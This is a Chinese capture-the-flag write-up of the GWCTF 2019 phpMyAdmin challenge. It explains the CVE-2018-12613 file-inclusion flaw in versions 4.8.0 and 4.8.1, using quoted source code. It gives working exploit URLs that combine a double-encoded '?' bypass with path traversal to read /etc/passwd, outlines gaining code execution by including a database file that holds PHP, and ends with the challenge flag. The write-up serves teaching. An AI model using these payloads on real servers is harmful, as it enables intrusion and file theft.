【CVE-2018-12613&PHPmyadmin 4.8.1漏洞】GWCTF 2019 我有一个数据库 WriteUp

前景知识:

CVE-2018-12613(phpmyadmin远程文件包含漏洞)

漏洞范围:phpmyadmin 4.8.0以及4.8.1

漏洞原理:index.php的第60-63行代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}

当满足5个条件后就会include $_REQUEST['target'];

  • $_REQUEST['target']不为空
  • $_REQUEST['target']是字符串
  • $_REQUEST['target']不以index开头
  • $_REQUEST['target']不在$target_blacklist
    'import.php', 'export.php'
  • Core::checkPageValidity($_REQUEST['target'])为真
    代码在libraries\classes\Core.php 443-476行

问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把?两次url编码为 %253f 即可绕过验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

漏洞利用:

  1. 任意文件读取

    读取etc/passwdhttp://IP/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

    或者:http://IP/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../etc/passwd

  2. 任意代码执行&&写入shell

    查看当前的运行目录:

    image-20210526185145057

    创建数据库,数据表,字段,写入值

    img

    然后包含该文件:http://IP/phpmyadmin/index.php?target=db_sql.php%253f/../../../mysql/data/cve/cve.MYD,即可访问phpinfo

WriteUp:

打开题目,界面如下:

image-20210526190611025

放到burpsuite里看一下

image-20210526190648754

dirsearch扫一扫,扫到phpmyadmin的页面,访问http://601cb8ad-03b3-4b62-a000-e16659ee2ff3.node3.buuoj.cn/phpmyadmin/并不用输入密码,直接进入到了管理页面

image-20210526190912366

注意到版本为phpmyadmin4.8.1,可以直接用前景知识里的payload

先访问etc/passwdhttp://601cb8ad-03b3-4b62-a000-e16659ee2ff3.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f/../../../../../etc/passwd

image-20210526191046233

访问/flaghttp://601cb8ad-03b3-4b62-a000-e16659ee2ff3.node3.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%3f../../../../../../flag,得到flag

image-20210526191231009

flag{68ab2f0d-1815-4819-aee8-84a0bba0ae20}